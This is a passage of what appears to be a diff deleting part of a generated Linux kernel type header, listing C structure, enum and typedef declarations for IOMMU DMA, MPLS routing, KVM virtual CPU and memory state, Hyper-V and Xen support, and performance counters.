IOMMU_DMA_MSI_COOKIE = 1, -}; - -struct iova_fq; - -struct iommu_dma_cookie { - enum iommu_dma_cookie_type type; - union { - struct { - struct iova_domain iovad; - struct iova_fq *fq; - atomic64_t fq_flush_start_cnt; - atomic64_t fq_flush_finish_cnt; - struct timer_list fq_timer; - atomic_t fq_timer_on; - }; - dma_addr_t msi_iova; - }; - struct list_head msi_page_list; - struct iommu_domain *fq_domain; - struct mutex mutex; -}; - -enum iommu_resv_type { - IOMMU_RESV_DIRECT = 0, - IOMMU_RESV_DIRECT_RELAXABLE = 1, - IOMMU_RESV_RESERVED = 2, - IOMMU_RESV_MSI = 3, - IOMMU_RESV_SW_MSI = 4, -}; - -struct iommu_resv_region { - struct list_head list; - phys_addr_t start; - size_t length; - int prot; - enum iommu_resv_type type; - void (*free)(struct device *, struct iommu_resv_region *); -}; - -typedef int (*list_cmp_func_t)(void *, const struct list_head *, const struct list_head *); - -struct iommu_dma_msi_page { - struct list_head list; - dma_addr_t iova; - phys_addr_t phys; -}; - -struct iova_fq_entry { - long unsigned int iova_pfn; - long unsigned int pages; - struct list_head freelist; - u64 counter; -}; - -struct iova_fq { - struct iova_fq_entry entries[256]; - unsigned int head; - unsigned int tail; - spinlock_t lock; -}; - -struct thermal_hwmon_device { - char type[20]; - struct device *device; - int count; - struct list_head tz_list; - struct list_head node; -}; - -struct thermal_hwmon_attr { - struct device_attribute attr; - char name[16]; -}; - -struct thermal_hwmon_temp { - struct list_head hwmon_node; - struct thermal_zone_device *tz; - struct thermal_hwmon_attr temp_input; - struct thermal_hwmon_attr temp_crit; -}; - -struct efi_system_resource_entry_v1 { - efi_guid_t fw_class; - u32 fw_type; - u32 fw_version; - u32 lowest_supported_fw_version; - u32 capsule_flags; - u32 last_attempt_version; - u32 last_attempt_status; -}; - -struct efi_system_resource_table { - u32 fw_resource_count; - u32 fw_resource_count_max; - u64 fw_resource_version; - u8 entries[0]; -}; - -struct esre_entry { - union { - struct efi_system_resource_entry_v1 *esre1; - } esre; - struct kobject kobj; - struct list_head list; -}; - -struct esre_attribute { - struct attribute attr; - ssize_t (*show)(struct esre_entry *, char *); - ssize_t (*store)(struct esre_entry *, const char *, size_t); -}; - -struct ucred { - __u32 pid; - __u32 uid; - __u32 gid; -}; - -struct scm_fp_list { - short int count; - short int max; - struct user_struct *user; - struct file *fp[253]; -}; - -struct scm_cookie { - struct pid *pid; - struct scm_fp_list *fp; - struct scm_creds creds; - u32 secid; -}; - -struct scm_timestamping { - struct __kernel_old_timespec ts[3]; -}; - -struct scm_timestamping64 { - struct __kernel_timespec ts[3]; -}; - -struct linkstate_reply_data { - struct ethnl_reply_data base; - int link; - int sqi; - int sqi_max; - struct ethtool_link_ext_stats link_stats; - bool link_ext_state_provided; - struct ethtool_link_ext_state_info ethtool_link_ext_state_info; -}; - -struct mpls_nh { - struct net_device *nh_dev; - unsigned int nh_flags; - u8 nh_labels; - u8 nh_via_alen; - u8 nh_via_table; - u8 nh_reserved1; - u32 nh_label[0]; -}; - -struct mpls_route { - struct callback_head rt_rcu; - u8 rt_protocol; - u8 rt_payload_type; - u8 rt_max_alen; - u8 rt_ttl_propagate; - u8 rt_nhn; - u8 rt_nhn_alive; - u8 rt_nh_size; - u8 rt_via_offset; - u8 rt_reserved1; - struct mpls_nh rt_nh[0]; -}; - -struct mpls_pcpu_stats; - -struct mpls_dev { - int input_enabled; - struct net_device *dev; - struct mpls_pcpu_stats *stats; - struct ctl_table_header *sysctl; - struct callback_head rcu; -}; - -struct rtvia { - __kernel_sa_family_t rtvia_family; - __u8 rtvia_addr[0]; -}; - -enum { - MPLS_STATS_UNSPEC = 0, - MPLS_STATS_LINK = 1, - __MPLS_STATS_MAX = 2, -}; - -struct mpls_link_stats { - __u64 rx_packets; - __u64 tx_packets; - __u64 rx_bytes; - __u64 tx_bytes; - __u64 rx_errors; - __u64 tx_errors; - __u64 rx_dropped; - __u64 tx_dropped; - __u64 rx_noroute; -}; - -struct netconfmsg { - __u8 ncm_family; -}; - -enum { - NETCONFA_UNSPEC = 0, - NETCONFA_IFINDEX = 1, - NETCONFA_FORWARDING = 2, - NETCONFA_RP_FILTER = 3, - NETCONFA_MC_FORWARDING = 4, - NETCONFA_PROXY_NEIGH = 5, - NETCONFA_IGNORE_ROUTES_WITH_LINKDOWN = 6, - NETCONFA_INPUT = 7, - NETCONFA_BC_FORWARDING = 8, - __NETCONFA_MAX = 9, -}; - -struct mpls_shim_hdr { - __be32 label_stack_entry; -}; - -struct mpls_entry_decoded { - u32 label; - u8 ttl; - u8 tc; - u8 bos; -}; - -struct mpls_pcpu_stats { - struct mpls_link_stats stats; - struct u64_stats_sync syncp; -}; - -enum mpls_payload_type { - MPT_UNSPEC = 0, - MPT_IPV4 = 4, - MPT_IPV6 = 6, -}; - -enum mpls_ttl_propagation { - MPLS_TTL_PROP_DEFAULT = 0, - MPLS_TTL_PROP_ENABLED = 1, - MPLS_TTL_PROP_DISABLED = 2, -}; - -struct mpls_route_config { - u32 rc_protocol; - u32 rc_ifindex; - u8 rc_via_table; - u8 rc_via_alen; - u8 rc_via[32]; - u32 rc_label; - u8 rc_ttl_propagate; - u8 rc_output_labels; - u32 rc_output_label[30]; - u32 rc_nlflags; - enum mpls_payload_type rc_payload_type; - struct nl_info rc_nlinfo; - struct rtnexthop *rc_mp; - int rc_mp_len; -}; - -enum pg_level { - PG_LEVEL_NONE = 0, - PG_LEVEL_4K = 1, - PG_LEVEL_2M = 2, - PG_LEVEL_1G = 3, - PG_LEVEL_512G = 4, - PG_LEVEL_NUM = 5, -}; - -struct fpu_guest { - u64 xfeatures; - u64 perm; - u64 xfd_err; - unsigned int uabi_size; - struct fpstate *fpstate; -}; - -struct interval_tree_node { - struct rb_node rb; - long unsigned int start; - long unsigned int last; - long unsigned int __subtree_last; -}; - -struct kvm_regs { - __u64 rax; - __u64 rbx; - __u64 rcx; - __u64 rdx; - __u64 rsi; - __u64 rdi; - __u64 rsp; - __u64 rbp; - __u64 r8; - __u64 r9; - __u64 r10; - __u64 r11; - __u64 r12; - __u64 r13; - __u64 r14; - __u64 r15; - __u64 rip; - __u64 rflags; -}; - -struct kvm_segment { - __u64 base; - __u32 limit; - __u16 selector; - __u8 type; - __u8 present; - __u8 dpl; - __u8 db; - __u8 s; - __u8 l; - __u8 g; - __u8 avl; - __u8 unusable; - __u8 padding; -}; - -struct kvm_dtable { - __u64 base; - __u16 limit; - __u16 padding[3]; -}; - -struct kvm_sregs { - struct kvm_segment cs; - struct kvm_segment ds; - struct kvm_segment es; - struct kvm_segment fs; - struct kvm_segment gs; - struct kvm_segment ss; - struct kvm_segment tr; - struct kvm_segment ldt; - struct kvm_dtable gdt; - struct kvm_dtable idt; - __u64 cr0; - __u64 cr2; - __u64 cr3; - __u64 cr4; - __u64 cr8; - __u64 efer; - __u64 apic_base; - __u64 interrupt_bitmap[4]; -}; - -struct kvm_msr_entry { - __u32 index; - __u32 reserved; - __u64 data; -}; - -struct kvm_cpuid_entry2 { - __u32 function; - __u32 index; - __u32 flags; - __u32 eax; - __u32 ebx; - __u32 ecx; - __u32 edx; - __u32 padding[3]; -}; - -struct kvm_debug_exit_arch { - __u32 exception; - __u32 pad; - __u64 pc; - __u64 dr6; - __u64 dr7; -}; - -struct kvm_vcpu_events { - struct { - __u8 injected; - __u8 nr; - __u8 has_error_code; - __u8 pending; - __u32 error_code; - } exception; - struct { - __u8 injected; - __u8 nr; - __u8 soft; - __u8 shadow; - } interrupt; - struct { - __u8 injected; - __u8 pending; - __u8 masked; - __u8 pad; - } nmi; - __u32 sipi_vector; - __u32 flags; - struct { - __u8 smm; - __u8 pending; - __u8 smm_inside_nmi; - __u8 latched_init; - } smi; - struct { - __u8 pending; - } triple_fault; - __u8 reserved[26]; - __u8 exception_has_payload; - __u64 exception_payload; -}; - -struct kvm_sync_regs { - struct kvm_regs regs; - struct kvm_sregs sregs; - struct kvm_vcpu_events events; -}; - -struct kvm_vmx_nested_state_data { - __u8 vmcs12[4096]; - __u8 shadow_vmcs12[4096]; -}; - -struct kvm_vmx_nested_state_hdr { - __u64 vmxon_pa; - __u64 vmcs12_pa; - struct { - __u16 flags; - } smm; - __u16 pad; - __u32 flags; - __u64 preemption_timer_deadline; -}; - -struct kvm_svm_nested_state_data { - __u8 vmcb12[4096]; -}; - -struct kvm_svm_nested_state_hdr { - __u64 vmcb_pa; -}; - -struct kvm_nested_state { - __u16 flags; - __u16 format; - __u32 size; - union { - struct kvm_vmx_nested_state_hdr vmx; - struct kvm_svm_nested_state_hdr svm; - __u8 pad[120]; - } hdr; - union { - struct kvm_vmx_nested_state_data vmx[0]; - struct kvm_svm_nested_state_data svm[0]; - } data; -}; - -struct kvm_pmu_event_filter { - __u32 action; - __u32 nevents; - __u32 fixed_counter_bitmap; - __u32 flags; - __u32 pad[4]; - __u64 events[0]; -}; - -struct kvm_hyperv_exit { - __u32 type; - __u32 pad1; - union { - struct { - __u32 msr; - __u32 pad2; - __u64 control; - __u64 evt_page; - __u64 msg_page; - } synic; - struct { - __u64 input; - __u64 result; - __u64 params[2]; - } hcall; - struct { - __u32 msr; - __u32 pad2; - __u64 control; - __u64 status; - __u64 send_page; - __u64 recv_page; - __u64 pending_page; - } syndbg; - } u; -}; - -struct kvm_xen_exit { - __u32 type; - union { - struct { - __u32 longmode; - __u32 cpl; - __u64 input; - __u64 result; - __u64 params[6]; - } hcall; - } u; -}; - -struct kvm_run { - __u8 request_interrupt_window; - __u8 immediate_exit; - __u8 padding1[6]; - __u32 exit_reason; - __u8 ready_for_interrupt_injection; - __u8 if_flag; - __u16 flags; - __u64 cr8; - __u64 apic_base; - union { - struct { - __u64 hardware_exit_reason; - } hw; - struct { - __u64 hardware_entry_failure_reason; - __u32 cpu; - } fail_entry; - struct { - __u32 exception; - __u32 error_code; - } ex; - struct { - __u8 direction; - __u8 size; - __u16 port; - __u32 count; - __u64 data_offset; - } io; - struct { - struct kvm_debug_exit_arch arch; - } debug; - struct { - __u64 phys_addr; - __u8 data[8]; - __u32 len; - __u8 is_write; - } mmio; - struct { - __u64 nr; - __u64 args[6]; - __u64 ret; - __u32 longmode; - __u32 pad; - } hypercall; - struct { - __u64 rip; - __u32 is_write; - __u32 pad; - } tpr_access; - struct { - __u8 icptcode; - __u16 ipa; - __u32 ipb; - } s390_sieic; - __u64 s390_reset_flags; - struct { - __u64 trans_exc_code; - __u32 pgm_code; - } s390_ucontrol; - struct { - __u32 dcrn; - __u32 data; - __u8 is_write; - } dcr; - struct { - __u32 suberror; - __u32 ndata; - __u64 data[16]; - } internal; - struct { - __u32 suberror; - __u32 ndata; - __u64 flags; - union { - struct { - __u8 insn_size; - __u8 insn_bytes[15]; - }; - }; - } emulation_failure; - struct { - __u64 gprs[32]; - } osi; - struct { - __u64 nr; - __u64 ret; - __u64 args[9]; - } papr_hcall; - struct { - __u16 subchannel_id; - __u16 subchannel_nr; - __u32 io_int_parm; - __u32 io_int_word; - __u32 ipb; - __u8 dequeued; - } s390_tsch; - struct { - __u32 epr; - } epr; - struct { - __u32 type; - __u32 ndata; - union { - __u64 data[16]; - }; - } system_event; - struct { - __u64 addr; - __u8 ar; - __u8 reserved; - __u8 fc; - __u8 sel1; - __u16 sel2; - } s390_stsi; - struct { - __u8 vector; - } eoi; - struct kvm_hyperv_exit hyperv; - struct { - __u64 esr_iss; - __u64 fault_ipa; - } arm_nisv; - struct { - __u8 error; - __u8 pad[7]; - __u32 reason; - __u32 index; - __u64 data; - } msr; - struct kvm_xen_exit xen; - struct { - long unsigned int extension_id; - long unsigned int function_id; - long unsigned int args[6]; - long unsigned int ret[2]; - } riscv_sbi; - struct { - long unsigned int csr_num; - long unsigned int new_value; - long unsigned int write_mask; - long unsigned int ret_value; - } riscv_csr; - struct { - __u32 flags; - } notify; - char padding[256]; - }; - __u64 kvm_valid_regs; - __u64 kvm_dirty_regs; - union { - struct kvm_sync_regs regs; - char padding[2048]; - } s; -}; - -struct kvm_xen_hvm_config { - __u32 flags; - __u32 msr; - __u64 blob_addr_32; - __u64 blob_addr_64; - __u8 blob_size_32; - __u8 blob_size_64; - __u8 pad2[30]; -}; - -struct kvm_enc_region { - __u64 addr; - __u64 size; -}; - -struct kvm_dirty_gfn { - __u32 flags; - __u32 slot; - __u64 offset; -}; - -struct kvm_stats_desc { - __u32 flags; - __s16 exponent; - __u16 size; - __u32 offset; - __u32 bucket_size; - char name[0]; -}; - -typedef long unsigned int gva_t; - -typedef u64 gpa_t; - -typedef u64 gfn_t; - -typedef u64 hpa_t; - -typedef u64 hfn_t; - -typedef hfn_t kvm_pfn_t; - -enum pfn_cache_usage { - KVM_GUEST_USES_PFN = 1, - KVM_HOST_USES_PFN = 2, - KVM_GUEST_AND_HOST_USE_PFN = 3, -}; - -struct kvm_memory_slot; - -struct gfn_to_hva_cache { - u64 generation; - gpa_t gpa; - long unsigned int hva; - long unsigned int len; - struct kvm_memory_slot *memslot; -}; - -struct kvm_rmap_head; - -struct kvm_lpage_info; - -struct kvm_arch_memory_slot { - struct kvm_rmap_head *rmap[3]; - struct kvm_lpage_info *lpage_info[2]; - short unsigned int *gfn_track[1]; -}; - -struct kvm_memory_slot { - struct hlist_node id_node[2]; - struct interval_tree_node hva_node[2]; - struct rb_node gfn_node[2]; - gfn_t base_gfn; - long unsigned int npages; - long unsigned int *dirty_bitmap; - struct kvm_arch_memory_slot arch; - long unsigned int userspace_addr; - u32 flags; - short int id; - u16 as_id; -}; - -struct kvm_vcpu; - -struct gfn_to_pfn_cache { - u64 generation; - gpa_t gpa; - long unsigned int uhva; - struct kvm_memory_slot *memslot; - struct kvm_vcpu *vcpu; - struct list_head list; - rwlock_t lock; - struct mutex refresh_lock; - void *khva; - kvm_pfn_t pfn; - enum pfn_cache_usage usage; - bool active; - bool valid; -}; - -struct kvm_mmio_fragment { - gpa_t gpa; - void *data; - unsigned int len; -}; - -struct kvm_lapic; - -struct kvm_page_fault; - -struct x86_exception; - -struct kvm_mmu_page; - -struct kvm_mmu_root_info { - gpa_t pgd; - hpa_t hpa; -}; - -union kvm_mmu_page_role { - u32 word; - struct { - unsigned int level: 4; - unsigned int has_4_byte_gpte: 1; - unsigned int quadrant: 2; - unsigned int direct: 1; - unsigned int access: 3; - unsigned int invalid: 1; - unsigned int efer_nx: 1; - unsigned int cr0_wp: 1; - unsigned int smep_andnot_wp: 1; - unsigned int smap_andnot_wp: 1; - unsigned int ad_disabled: 1; - unsigned int guest_mode: 1; - unsigned int passthrough: 1; - char: 5; - unsigned int smm: 8; - }; -}; - -union kvm_mmu_extended_role { - u32 word; - struct { - unsigned int valid: 1; - unsigned int execonly: 1; - unsigned int cr4_pse: 1; - unsigned int cr4_pke: 1; - unsigned int cr4_smap: 1; - unsigned int cr4_smep: 1; - unsigned int cr4_la57: 1; - unsigned int efer_lma: 1; - }; -}; - -union kvm_cpu_role { - u64 as_u64; - struct { - union kvm_mmu_page_role base; - union kvm_mmu_extended_role ext; - }; -}; - -struct rsvd_bits_validate { - u64 rsvd_bits_mask[10]; - u64 bad_mt_xwr; -}; - -struct kvm_mmu { - long unsigned int (*get_guest_pgd)(struct kvm_vcpu *); - u64 (*get_pdptr)(struct kvm_vcpu *, int); - int (*page_fault)(struct kvm_vcpu *, struct kvm_page_fault *); - void (*inject_page_fault)(struct kvm_vcpu *, struct x86_exception *); - gpa_t (*gva_to_gpa)(struct kvm_vcpu *, struct kvm_mmu *, gpa_t, u64, struct x86_exception *); - int (*sync_page)(struct kvm_vcpu *, struct kvm_mmu_page *); - void (*invlpg)(struct kvm_vcpu *, gva_t, hpa_t); - struct kvm_mmu_root_info root; - union kvm_cpu_role cpu_role; - union kvm_mmu_page_role root_role; - u32 pkru_mask; - struct kvm_mmu_root_info prev_roots[3]; - u8 permissions[16]; - u64 *pae_root; - u64 *pml4_root; - u64 *pml5_root; - struct rsvd_bits_validate shadow_zero_check; - struct rsvd_bits_validate guest_rsvd_check; - u64 pdptrs[4]; -}; - -struct kvm_mmu_memory_cache { - int nobjs; - gfp_t gfp_zero; - gfp_t gfp_custom; - struct kmem_cache *kmem_cache; - int capacity; - void **objects; -}; - -struct kvm_pio_request { - long unsigned int linear_rip; - long unsigned int count; - int in; - int port; - int size; -}; - -struct kvm_queued_exception { - bool pending; - bool injected; - bool has_error_code; - u8 vector; - u32 error_code; - long unsigned int payload; - bool has_payload; -}; - -struct kvm_queued_interrupt { - bool injected; - bool soft; - u8 nr; -}; - -struct x86_emulate_ctxt; - -struct kvm_mtrr_range { - u64 base; - u64 mask; - struct list_head node; -}; - -struct kvm_mtrr { - struct kvm_mtrr_range var_ranges[8]; - mtrr_type fixed_ranges[88]; - u64 deftype; - struct list_head head; -}; - -enum pmc_type { - KVM_PMC_GP = 0, - KVM_PMC_FIXED = 1, -}; - -struct kvm_pmc { - enum pmc_type type; - u8 idx; - u64 counter; - u64 eventsel; - struct perf_event *perf_event; - struct kvm_vcpu *vcpu; - u64 current_config; - bool is_paused; - bool intr; -}; - -struct kvm_pmu { - unsigned int nr_arch_gp_counters; - unsigned int nr_arch_fixed_counters; - unsigned int available_event_types; - u64 fixed_ctr_ctrl; - u64 fixed_ctr_ctrl_mask; - u64 global_ctrl; - u64 global_status; - u64 counter_bitmask[2]; - u64 global_ctrl_mask; - u64 global_ovf_ctrl_mask; - u64 reserved_bits; - u64 raw_event_mask; - u8 version; - struct kvm_pmc gp_counters[8]; - struct kvm_pmc fixed_counters[3]; - struct irq_work irq_work; - long unsigned int reprogram_pmi[1]; - long unsigned int all_valid_pmc_idx[1]; - long unsigned int pmc_in_use[1]; - u64 ds_area; - u64 pebs_enable; - u64 pebs_enable_mask; - u64 pebs_data_cfg; - u64 pebs_data_cfg_mask; - u64 host_cross_mapped_mask; - bool need_cleanup; - u8 event_count; -}; - -struct kvm_vcpu_xen { - u64 hypercall_rip; - u32 current_runstate; - u8 upcall_vector; - struct gfn_to_pfn_cache vcpu_info_cache; - struct gfn_to_pfn_cache vcpu_time_info_cache; - struct gfn_to_pfn_cache runstate_cache; - u64 last_steal; - u64 runstate_entry_time; - u64 runstate_times[4]; - long unsigned int evtchn_pending_sel; - u32 vcpu_id; - u32 timer_virq; - u64 timer_expires; - atomic_t timer_pending; - struct hrtimer timer; - int poll_evtchn; - struct timer_list poll_timer; -}; - -struct kvm_vcpu_hv; - -struct kvm_vcpu_arch { - long unsigned int regs[17]; - u32 regs_avail; - u32 regs_dirty; - long unsigned int cr0; - long unsigned int cr0_guest_owned_bits; - long unsigned int cr2; - long unsigned int cr3; - long unsigned int cr4; - long unsigned int cr4_guest_owned_bits; - long unsigned int cr4_guest_rsvd_bits; - long unsigned int cr8; - u32 host_pkru; - u32 pkru; - u32 hflags; - u64 efer; - u64 apic_base; - struct kvm_lapic *apic; - bool load_eoi_exitmap_pending; - long unsigned int ioapic_handled_vectors[4]; - long unsigned int apic_attention; - int32_t apic_arb_prio; - int mp_state; - u64 ia32_misc_enable_msr; - u64 smbase; - u64 smi_count; - bool at_instruction_boundary; - bool tpr_access_reporting; - bool xsaves_enabled; - bool xfd_no_write_intercept; - u64 ia32_xss; - u64 microcode_version; - u64 arch_capabilities; - u64 perf_capabilities; - struct kvm_mmu *mmu; - struct kvm_mmu root_mmu; - struct kvm_mmu guest_mmu; - struct kvm_mmu nested_mmu; - struct kvm_mmu *walk_mmu; - struct kvm_mmu_memory_cache mmu_pte_list_desc_cache; - struct kvm_mmu_memory_cache mmu_shadow_page_cache; - struct kvm_mmu_memory_cache mmu_shadowed_info_cache; - struct kvm_mmu_memory_cache mmu_page_header_cache; - struct fpu_guest guest_fpu; - u64 xcr0; - u64 guest_supported_xcr0; - struct kvm_pio_request pio; - void *pio_data; - void *sev_pio_data; - unsigned int sev_pio_count; - u8 event_exit_inst_len; - bool exception_from_userspace; - struct kvm_queued_exception exception; - struct kvm_queued_exception exception_vmexit; - struct kvm_queued_interrupt interrupt; - int halt_request; - int cpuid_nent; - struct kvm_cpuid_entry2 *cpuid_entries; - u32 kvm_cpuid_base; - u64 reserved_gpa_bits; - int maxphyaddr; - struct x86_emulate_ctxt *emulate_ctxt; - bool emulate_regs_need_sync_to_vcpu; - bool emulate_regs_need_sync_from_vcpu; - int (*complete_userspace_io)(struct kvm_vcpu *); - gpa_t time; - struct pvclock_vcpu_time_info hv_clock; - unsigned int hw_tsc_khz; - struct gfn_to_pfn_cache pv_time; - bool pvclock_set_guest_stopped_request; - struct { - u8 preempted; - u64 msr_val; - u64 last_steal; - struct gfn_to_hva_cache cache; - } st; - u64 l1_tsc_offset; - u64 tsc_offset; - u64 last_guest_tsc; - u64 last_host_tsc; - u64 tsc_offset_adjustment; - u64 this_tsc_nsec; - u64 this_tsc_write; - u64 this_tsc_generation; - bool tsc_catchup; - bool tsc_always_catchup; - s8 virtual_tsc_shift; - u32 virtual_tsc_mult; - u32 virtual_tsc_khz; - s64 ia32_tsc_adjust_msr; - u64 msr_ia32_power_ctl; - u64 l1_tsc_scaling_ratio; - u64 tsc_scaling_ratio; - atomic_t nmi_queued; - unsigned int nmi_pending; - bool nmi_injected; - bool smi_pending; - u8 handling_intr_from_guest; - struct kvm_mtrr mtrr_state; - u64 pat; - unsigned int switch_db_regs; - long unsigned int db[4]; - long unsigned int dr6; - long unsigned int dr7; - long unsigned int eff_db[4]; - long unsigned int guest_debug_dr7; - u64 msr_platform_info; - u64 msr_misc_features_enables; - u64 mcg_cap; - u64 mcg_status; - u64 mcg_ctl; - u64 mcg_ext_ctl; - u64 *mce_banks; - u64 *mci_ctl2_banks; - u64 mmio_gva; - unsigned int mmio_access; - gfn_t mmio_gfn; - u64 mmio_gen; - struct kvm_pmu pmu; - long unsigned int singlestep_rip; - bool hyperv_enabled; - struct kvm_vcpu_hv *hyperv; - struct kvm_vcpu_xen xen; - cpumask_var_t wbinvd_dirty_mask; - long unsigned int last_retry_eip; - long unsigned int last_retry_addr; - struct { - bool halted; - gfn_t gfns[64]; - struct gfn_to_hva_cache data; - u64 msr_en_val; - u64 msr_int_val; - u16 vec; - u32 id; - bool send_user_only; - u32 host_apf_flags; - bool delivery_as_pf_vmexit; - bool pageready_pending; - } apf; - struct { - u64 length; - u64 status; - } osvw; - struct { - u64 msr_val; - struct gfn_to_hva_cache data; - } pv_eoi; - u64 msr_kvm_poll_control; - bool write_fault_to_shadow_pgtable; - long unsigned int exit_qualification; - struct { - bool pv_unhalted; - } pv; - int pending_ioapic_eoi; - int pending_external_vector; - bool preempted_in_kernel; - bool l1tf_flush_l1d; - int last_vmentry_cpu; - u64 msr_hwcr; - struct { - u32 features; - bool enforce; - } pv_cpuid; - bool guest_state_protected; - bool pdptrs_from_userspace; -}; - -struct kvm_vcpu_stat_generic { - u64 halt_successful_poll; - u64 halt_attempted_poll; - u64 halt_poll_invalid; - u64 halt_wakeup; - u64 halt_poll_success_ns; - u64 halt_poll_fail_ns; - u64 halt_wait_ns; - u64 halt_poll_success_hist[32]; - u64 halt_poll_fail_hist[32]; - u64 halt_wait_hist[32]; - u64 blocking; -}; - -struct kvm_vcpu_stat { - struct kvm_vcpu_stat_generic generic; - u64 pf_taken; - u64 pf_fixed; - u64 pf_emulate; - u64 pf_spurious; - u64 pf_fast; - u64 pf_mmio_spte_created; - u64 pf_guest; - u64 tlb_flush; - u64 invlpg; - u64 exits; - u64 io_exits; - u64 mmio_exits; - u64 signal_exits; - u64 irq_window_exits; - u64 nmi_window_exits; - u64 l1d_flush; - u64 halt_exits; - u64 request_irq_exits; - u64 irq_exits; - u64 host_state_reload; - u64 fpu_reload; - u64 insn_emulation; - u64 insn_emulation_fail; - u64 hypercalls; - u64 irq_injections; - u64 nmi_injections; - u64 req_event; - u64 nested_run; - u64 directed_yield_attempted; - u64 directed_yield_successful; - u64 preemption_reported; - u64 preemption_other; - u64 guest_mode; - u64 notify_window_exits; -}; - -struct kvm_dirty_ring { - u32 dirty_index; - u32 reset_index; - u32 size; - u32 soft_limit; - struct kvm_dirty_gfn *dirty_gfns; - int index; -}; - -struct kvm; - -struct kvm_vcpu { - struct kvm *kvm; - int cpu; - int vcpu_id; - int vcpu_idx; - int ____srcu_idx; - int srcu_depth; - int mode; - u64 requests; - long unsigned int guest_debug; - struct mutex mutex; - struct kvm_run *run; - struct rcuwait wait; - struct pid *pid; - int sigset_active; - sigset_t sigset; - unsigned int halt_poll_ns; - bool valid_wakeup; - int mmio_needed; - int mmio_read_completed; - int mmio_is_write; - int mmio_cur_fragment; - int mmio_nr_fragments; - struct kvm_mmio_fragment mmio_fragments[2]; - bool preempted; - bool ready; - struct kvm_vcpu_arch arch; - struct kvm_vcpu_stat stat; - char stats_id[48]; - struct kvm_dirty_ring dirty_ring; - struct kvm_memory_slot *last_used_slot; - u64 last_used_slot_gen; -}; - -struct kvm_vm_stat_generic { - u64 remote_tlb_flush; - u64 remote_tlb_flush_requests; -}; - -union cpuid10_eax { - struct { - unsigned int version_id: 8; - unsigned int num_counters: 8; - unsigned int bit_width: 8; - unsigned int mask_length: 8; - } split; - unsigned int full; -}; - -union cpuid10_ebx { - struct { - unsigned int no_unhalted_core_cycles: 1; - unsigned int no_instructions_retired: 1; - unsigned int no_unhalted_reference_cycles: 1; - unsigned int no_llc_reference: 1; - unsigned int no_llc_misses: 1; - unsigned int no_branch_instruction_retired: 1; - unsigned int no_branch_misses_retired: 1; - } split; - unsigned int full; -}; - -union cpuid10_edx { - struct { - unsigned int num_counters_fixed: 5; - unsigned int bit_width_fixed: 8; - unsigned int reserved1: 2; - unsigned int anythread_deprecated: 1; - unsigned int reserved2: 16; - } split; - unsigned int full; -}; - -struct perf_pmu_format_hybrid_attr { - struct device_attribute attr; - u64 pmu_type; -}; - -typedef int perf_snapshot_branch_stack_t(struct perf_branch_entry *, unsigned int); - -struct hv_partition_assist_pg { - u32 tlb_lock_count; -}; - -union hv_message_flags { - __u8 asu8; - struct { - __u8 msg_pending: 1; - __u8 reserved: 7; - }; -}; - -union hv_port_id { - __u32 asu32; - struct { - __u32 id: 24; - __u32 reserved: 8; - } u; -}; - -struct hv_message_header { - __u32 message_type; - __u8 payload_size; - union hv_message_flags message_flags; - __u8 reserved[2]; - union { - __u64 sender; - union hv_port_id port; - }; -}; - -struct hv_message { - struct hv_message_header header; - union { - __u64 payload[30]; - } u; -}; - -union hv_stimer_config { - u64 as_uint64; - struct { - u64 enable: 1; - u64 periodic: 1; - u64 lazy: 1; - u64 auto_enable: 1; - u64 apic_vector: 8; - u64 direct_mode: 1; - u64 reserved_z0: 3; - u64 sintx: 4; - u64 reserved_z1: 44; - }; -}; - -enum kvm_page_track_mode { - KVM_PAGE_TRACK_WRITE = 0, - KVM_PAGE_TRACK_MAX = 1, -}; - -struct kvm_page_track_notifier_head { - struct srcu_struct track_srcu; - struct hlist_head track_notifier_list; -}; - -struct kvm_page_track_notifier_node { - struct hlist_node node; - void (*track_write)(struct kvm_vcpu *, gpa_t, const u8 *, int, struct kvm_page_track_notifier_node *); - void (*track_flush_slot)(struct kvm *, struct kvm_memory_slot *, struct kvm_page_track_notifier_node *); -}; - -struct kvm_memslots { - u64 generation; - atomic_long_t last_used_slot; - struct rb_root_cached hva_tree; - struct rb_root gfn_tree; - struct hlist_head id_hash[128]; - int node_idx; -}; - -struct kvm_vm_stat { - struct kvm_vm_stat_generic generic; - u64 mmu_shadow_zapped; - u64 mmu_pte_write; - u64 mmu_pde_zapped; - u64 mmu_flooded; - u64 mmu_recycled; - u64 mmu_cache_miss; - u64 mmu_unsync; - union { - struct { - atomic64_t pages_4k; - atomic64_t pages_2m; - atomic64_t pages_1g; - }; - atomic64_t pages[3]; - }; - u64 nx_lpage_splits; - u64 max_mmu_page_hash_collisions; - u64 max_mmu_rmap_size; -}; - -struct iommu_domain; - -struct kvm_pic; - -struct kvm_ioapic; - -struct kvm_pit; - -enum hv_tsc_page_status { - HV_TSC_PAGE_UNSET = 0, - HV_TSC_PAGE_GUEST_CHANGED = 1, - HV_TSC_PAGE_HOST_CHANGED = 2, - HV_TSC_PAGE_SET = 3, - HV_TSC_PAGE_BROKEN = 4, -}; - -struct kvm_hv_syndbg { - struct { - u64 control; - u64 status; - u64 send_page; - u64 recv_page; - u64 pending_page; - } control; - u64 options; -}; - -struct kvm_hv { - struct mutex hv_lock; - u64 hv_guest_os_id; - u64 hv_hypercall; - u64 hv_tsc_page; - enum hv_tsc_page_status hv_tsc_page_status; - u64 hv_crash_param[5]; - u64 hv_crash_ctl; - struct ms_hyperv_tsc_page tsc_ref; - struct idr conn_to_evt; - u64 hv_reenlightenment_control; - u64 hv_tsc_emulation_control; - u64 hv_tsc_emulation_status; - atomic_t num_mismatched_vp_indexes; - unsigned int synic_auto_eoi_used; - struct hv_partition_assist_pg *hv_pa_pg; - struct kvm_hv_syndbg hv_syndbg; -}; - -struct kvm_xen { - u32 xen_version; - bool long_mode; - u8 upcall_vector; - struct gfn_to_pfn_cache shinfo_cache; - struct idr evtchn_ports; - long unsigned int poll_mask[16]; -}; - -enum kvm_irqchip_mode { - KVM_IRQCHIP_NONE = 0, - KVM_IRQCHIP_KERNEL = 1, - KVM_IRQCHIP_SPLIT = 2, -}; - -struct kvm_apic_map; - -struct kvm_x86_msr_filter; - -struct kvm_arch { - long unsigned int n_used_mmu_pages; - long unsigned int n_requested_mmu_pages; - long unsigned int n_max_mmu_pages; - unsigned int indirect_shadow_pages; - u8 mmu_valid_gen; - struct hlist_head mmu_page_hash[4096]; - struct list_head active_mmu_pages; - struct list_head zapped_obsolete_pages; - struct list_head lpage_disallowed_mmu_pages; - struct kvm_page_track_notifier_node mmu_sp_tracker; - struct kvm_page_track_notifier_head track_notifier_head; - spinlock_t mmu_unsync_pages_lock; - struct list_head assigned_dev_head; - struct 